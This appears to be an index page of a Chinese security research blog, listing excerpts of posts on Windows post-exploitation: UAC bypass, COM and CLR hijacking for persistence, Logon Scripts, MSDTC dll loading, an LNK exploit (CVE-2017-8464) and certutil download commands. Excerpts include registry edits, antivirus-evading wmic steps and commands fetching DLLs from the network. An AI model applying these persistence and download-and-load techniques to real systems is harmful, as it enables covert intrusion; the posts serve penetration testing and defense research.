Good in study, attitude and health

  • Empire中的Invoke-WScriptBypassUAC利用分析

    0x00 前言 知名的后渗透测试框架Empire是一个很好的学习模板,其中包含的后渗透技巧很值得深入研究。 本文将要挑选Empire中一个经典的UAC绕过方法Invoke-WScriptBypassUAC进行分析,介绍绕过原理以及在渗透测试中的更多利用技巧。知道如何利用,才能知道如何防御。 Invoke-WScriptBypassUAC地址: https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1 0x01 简介 本文将要介绍如下内容: Invoke-WScriptBypassUAC绕过原理 利用扩展 防御检测 0x02 Invoke-WScriptBypassUAC绕过原理 Invoke-WScriptBypassUAC通过powershell实现,思路上借鉴了Vozzie分享的github,地址如下: https://github.com/Vozzie/uacscript Vozzie提到ZDI和微软选择忽略该UAC绕过“漏洞”,ZDI认为这不是一个远程漏洞,微软认为UAC绕过不属于漏洞范畴 Invoke-WScriptBypassUAC在实现上使用了一些实用的小技巧,所以本文主要对Invoke-WScriptBypassUAC的绕过方法进行分析 该方法只适用于Win7,而Win8、Win10不适用(原因在后面介绍) 测试系统: Win7 x86 由于powershell格式的源代码公开,所以直接介绍该脚本关键的操作流程: 判断操作系统是否为Win7,是否为普通权限 Temp目录释放文件wscript.exe.manifest 使用makecab.exe对wscript.exe.manifest和wscript.exe进行压缩 使用wusa将压缩包解压缩,将wscript.exe.manifest和wscript.exe释放至c:\Windows目录 payload保存在Appdata文件夹的ADS中 使用c:\Windows\wscript.exe执行payload,实现管理员权限执行payload,绕过UAC 0x03 利用扩展 掌握操作流程后,我们完全可以手动进行拆分测试,在这个过程中能发现更多利用思路 1、保存wscript.exe.manifest文件 代码如下: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0"> <asmv3:trustInfo> <security> <requestedPrivileges> <requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/> </requestedPrivileges> </security>...

  • Use powershell to find a writable windows service

    0x00 前言 从DidierStevens的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个powershell脚本,用来寻找可被替换的服务,实现自动化利用。 DidierStevens的博客链接: https://blog.didierstevens.com/2017/09/05/abusing-a-writable-windows-service/ 0x01 简介 本文将要介绍以下内容: 使用c#编写可供Windows服务调用的程序 psexec的-i参数使用技巧 sc命令使用技巧 通过powershell获取服务对应的可执行文件路径 自动化利用脚本开发细节 0x02 使用c#编写可供Windows服务调用的程序 可供Windows服务调用的程序需要能够同SCM(Services Control Manager)进行交互,所以在程序编写上需要注意 Didier Stevens在博客中给出了c#开发的模板,代码如下: using System.ServiceProcess; namespace Demo { public class Service : ServiceBase { protected override void OnStart(string[] args) { System.Diagnostics.Process.Start("cmd.exe"); } } static class Program { static void Main() { ServiceBase.Run(new ServiceBase[]...

  • Use Logon Scripts to maintain persistence

    0x00 前言 依旧是对后门利用方法做介绍,本次介绍的是使用Logon Scripts的方法。然而我在研究过程中发现了一个特别的用法,脚本优先于杀毒软件执行,能够绕过杀毒软件对敏感操作的拦截,本文将要具体介绍这个技巧。 注: 有些杀毒软件是可以做到优先于Logon Scripts启动的 0x01 简介 Logon Scripts用法 绕过360对wmi调用的拦截 特别用法 0x02 Logon Scripts用法 思路来自于Adam@Hexacorn,地址如下: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/ 简要介绍Logon Scripts的用法 注册表路径:HKCU\Environment\ 创建字符串键值: UserInitMprLogonScript 键值设置为bat的绝对路径:c:\test\11.bat 如下图 bat内容如下: start calc.exe 注销,登录 执行脚本11.bat,弹出计算器 0x03 绕过360对通过wmi修改环境变量的拦截 在之前的文章《Use CLR to maintain persistence》提到过使用wmic修改环境变量的方法 命令如下: wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1" wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}" 然而,360会对WMI的操作进行拦截,如下图 其实通过WMI添加环境变量等价于在注册表HKCR\Environment\新建键值 所以对WMI的操作可以通过写注册表的操作进行代替 以上WMI命令可替换为如下powershell代码:...

  • Use COM Object hijacking to maintain persistence——Hijack explorer.exe

    0x00 前言 在之前的文章介绍了两种利用COM对象劫持实现的后门,利用思路有一些区别: 第一种,通过CLR劫持.Net程序 正常CLR的用法: 设置注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\ cmd下输入: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={11111111-1111-1111-1111-111111111111} CLR能够劫持当前cmd下所有.Net程序的启动 后门利用思路: 我尝试通过WMI修改环境变量,使CLR作用于全局,就能够劫持所有.Net程序的启动 经实际测试,该方法有效,系统启动后默认会调用.Net程序,加载CLR,后门触发 第二种,劫持CAccPropServicesClass和MMDeviceEnumerator 该方法曾被木马COMpfun使用,所以思路也是从COMpfun学到的 设置注册表键值HKEY_CURRENT_USER\Software\Classes\CLSID\能够指定实例CAccPropServicesClass和MMDeviceEnumerator对应加载的dll 而IE浏览器进程iexplore.exe启动时会调用以上两个实例 所以通过注册表设置CAccPropServicesClass和MMDeviceEnumerator对应加载的dll,能够劫持IE浏览器的启动,实现后门触发 当然,该方法只能算得上是一个被动后门,只有用户启动IE浏览器,才能触发后门 然而,在众多COM对象中,可供利用的劫持对象不唯一,甚至存在能够劫持桌面进程explorer.exe的方法,相当于一个主动后门 例如:劫持MruPidlList 注: 该方法曾被多个已知的恶意软件使用 本着通过研究所有已公开的COM对象后门利用方法,进而总结应对COM劫持防御方法的原则,本文将要介绍另外两种COM劫持的后门利用方法 之前的文章: 《Use CLR to maintain persistence》 《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》 0x01 简介 本文将要介绍以下内容 通过劫持MruPidlList实现的后门思路 恶意利用实例 总结应对COM劫持的防御方法 0x02 通过劫持MruPidlList实现的后门思路...

  • Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator

    0x00 前言 在之前的文章《Use CLR to maintain persistence》介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。美中不足的是通过WMI添加环境变量需要重启系统。 本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限。 注: 本文介绍的方法曾被木马COMpfun使用 详细介绍地址: https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence 0x01 简介 本文将要介绍以下内容: 后门思路 POC编写 防御检测 0x02 COM组件 COM是Component Object Model (组件对象模型)的缩写 COM组件由DLL和EXE形式发布的可执行代码所组成 COM与语言,平台无关 COM组件对应注册表中CLSID下的注册表键值 0x03 后门思路 注: 思路来自于https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence 同使用CLR劫持.Net程序的方法类似,也是通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过Autoruns对启动项的检测。 32位系统利用方法: 1、新建文件 在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\下放入测试dll,重命名为api-ms-win-downlevel-[4char-random]-l1-1-0._dl 注: 测试dll下载地址:https://github.com/3gstudent/test/blob/master/calc.dll 重命名为api-ms-win-downlevel-1x86-l1-1-0._dl 如下图 2、修改注册表 注册表位置:HKCU\Software\Classes\CLSID\ 创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7} 创建子项InprocServer32 Default的键值为测试dll的绝对路径: C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl 创建键值: ThreadingModel REG_SZ Apartment 注册表内容如下图...

  • Use xwizard.exe to load dll

    0x00 前言 在之前的文章介绍了利用Excel.Application object’s RegisterXLL()加载dll的技巧。本文继续,介绍最近学习到的一种更为通用的方法——利用xwizard.exe加载dll。 该方法最大的特点是xwizard.exe自带微软签名,在某种程度上说,能够绕过应用程序白名单的拦截。 参考链接: http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/ 0x01 简介 本文将要介绍以下内容: xwizard.exe简介 利用思路 实际测试 0x02 xwizard.exe简介 应该为Extensible wizard的缩写,中文翻译可扩展的向导主机进程,暂时无法获得官方资料 支持Win7及以上操作系统 位于%windir%\system32\下 双击运行,弹出操作说明,如下图 支持参数如下: xwizard processXMLFile xwizard RunWizard xwizard RunPropertySheet 示例: xwizard processXMLFile 1.txt xwizard RunWizard /u {11111111-1111-1111-1111-111111111111} xwizard RunPropertySheet /u {11111111-1111-1111-1111-111111111111} 注: 参数中的GUID长度固定,否则弹框报错,如下图 0x03 利用思路 本节对Adam@Hexacorn的思路进行验证,文章地址: http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/ xwizard.exe的同级目录存在一个特别的文件xwizards.dll 使用IDA查看xwizards.dll的导出函数,如下图 我们可以看到,xwizards.dll的导出函数名称同xwizard.exe支持的参数名称十分接近 猜测xwizard.exe的功能是通过调用xwizards.dll实现的...

  • Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

    0x00 前言 北京时间6月14日凌晨,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。 该漏洞的原理同2010年据称美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的震网病毒(Stuxnet)非常相似,所以也被一些人称为“震网三代”。 然而,通过百度搜索关键词“cve-2017-8464复现”找到的国内一些文章,对该漏洞的复现存在误解,错把通过快捷方式执行powershell代码当作了该漏洞的利用方法。 所以,本文将要纠正这个错误。 并且,目前可供测试的msf利用脚本存在一个bug,漏洞触发后进程explorer.exe崩溃,漏洞利用不够完美。 考虑到距补丁公开日期已经超过45天,所以本文将要公开利用脚本中bug的修复方法,实现该漏洞的“完美利用”。 0x01 简介 本文将要介绍以下内容: 漏洞简介 漏洞测试 bug修复 防御 0x02 漏洞简介 该漏洞是一个微软Windows系统处理LNK文件过程中发生的远程代码执行漏洞。 当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。 也就是说,漏洞可以在以下任一条件下触发: 1、系统开启U盘自动播放功能,插入U盘,漏洞触发 2、通过网络共享访问该文件目录 3、直接访问该文件目录 0x03 漏洞测试 目前公开渠道可供测试利用的脚本有如下两个: 1、msf利用脚本 作者:ykoster 下载地址:https://github.com/rapid7/metasploit-framework/pull/8767 2、python利用脚本 作者:nixawk 下载地址:https://github.com/nixawk/labs/blob/master/CVE-2017-8464/exploit_CVE-2017-8464.py 本文着重测试msf脚本,将exp拷贝至U盘,测试通过U盘触发漏洞的利用方法 实际测试: 测试系统: kali 2.0 1、下载msf脚本 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb 2、生成exp use exploits/windows/fileformat/cve_2017_8464_lnk_rce set payload windows/x64/exec set...

  • Use msdtc to maintain persistence

    0x00 前言 Shadow Force曾经在域环境中使用过的一个后门,利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测。本文将要对其进行测试,介绍更多利用技巧,分析防御方法。 0x01 简介 本文将要介绍以下内容: MSDTC简介 后门思路 后门验证 更多测试和利用方法 检测防御 0x02 MSDTC简介 MSDTC: 对应服务MSDTC,全称Distributed Transaction Coordinator,Windows系统默认启动该服务 对应进程msdtc.exe,位于%windir%\system32\ msdtc.exe是微软分布式传输协调程序,该进程调用系统Microsoft Personal Web Server和Microsoft SQL Server 0x03 后门思路 参考链接: http://blog.trendmicro.com/trendlabs-security-intelligence/shadow-force-uses-dll-hijacking-targets-south-korean-company/ 文中介绍的思路如下: 当计算机加入域中,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI 如下图 分别加载3个dll:oci.dll,SQLLib80.dll,xa80.dll 然而特别的是,Windows系统默认不包含oci.dll 也就是说,将payload.dll重名为oci.dll并保存在%windir%\system32\下 域中的计算机启动服务MSDTC时就会加载该dll,实现代码执行 0x04 后门验证 测试系统: Win7 x64 搭建域环境,如下图 使用Procmon监控msdtc的启动过程,筛选进程msdtc.exe,查看文件操作,如下图 msdtc.exe确实会尝试加载oci.dll,并且由于系统默认不存在oci.dll,导致加载失败 使用64位的测试dll,下载地址如下: https://github.com/3gstudent/test/blob/master/calc_x64.dll 将其保存在%windir%\system32\下 结束进程msdtc.exe,命令行参数如下: taskkill /f...

  • Use CLR to maintain persistence

    0x00 前言 在之前的文章《Use AppDomainManager to maintain persistence》介绍了通过AppDomainManager实现的一种被动后门触发机制,演示了如何劫持系统.Net程序powershell_ise.exe,但前提是需要获得管理员权限。 这一次将更进一步,介绍一种无需管理员权限的后门,并能够劫持所有.Net程序。 0x01 简介 本文将要介绍以下内容: CLR的使用 后门开发思路 POC编写 后门检测 0x02 CLR的使用 CLR: 全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。 CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行: 在CLR监视之下运行的程序属于“托管的”(managed)代码 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码 CLR的使用: 测试系统: Win8 x86 1、启动cmd 输入如下代码: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={11111111-1111-1111-1111-111111111111} 注: {11111111-1111-1111-1111-111111111111}表示CLSID 可设置为任意数值,只要不和系统常用CLSID冲突就好 2、测试dll 使用弹框dll,下载地址: https://raw.githubusercontent.com/3gstudent/test/master/msg.dll dll开发过程可参考: https://3gstudent.github.io/Use-Office-to-maintain-persistence 可在cmd下实现直接下载,代码如下: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll certutil.exe...

  • 渗透测试中的certutil

    0x00 前言 最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对cmd下downloader的实现方法作补充,总结base64编码转换的常用方法。 学习地址: https://twitter.com/subTee/status/888101536475344896 https://twitter.com/subTee/status/888071631528235010 0x01 简介 本文将要介绍以下内容: certutil.exe在渗透测试中的应用 downloader常用方法 base64编码转换常用方法 0x02 certutil简介 用于证书管理 支持xp-win10 更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx 注: 在之前的文章《域渗透——EFS文件解密》有用过certutil.exe导入证书 0x03 渗透测试中的应用 1、downloader (1) 保存在当前路径,文件名称同URL eg: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt (2) 保存在当前路径,指定保存文件名称 eg: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt (3) 保存在缓存目录,名称随机 缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content eg: certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt...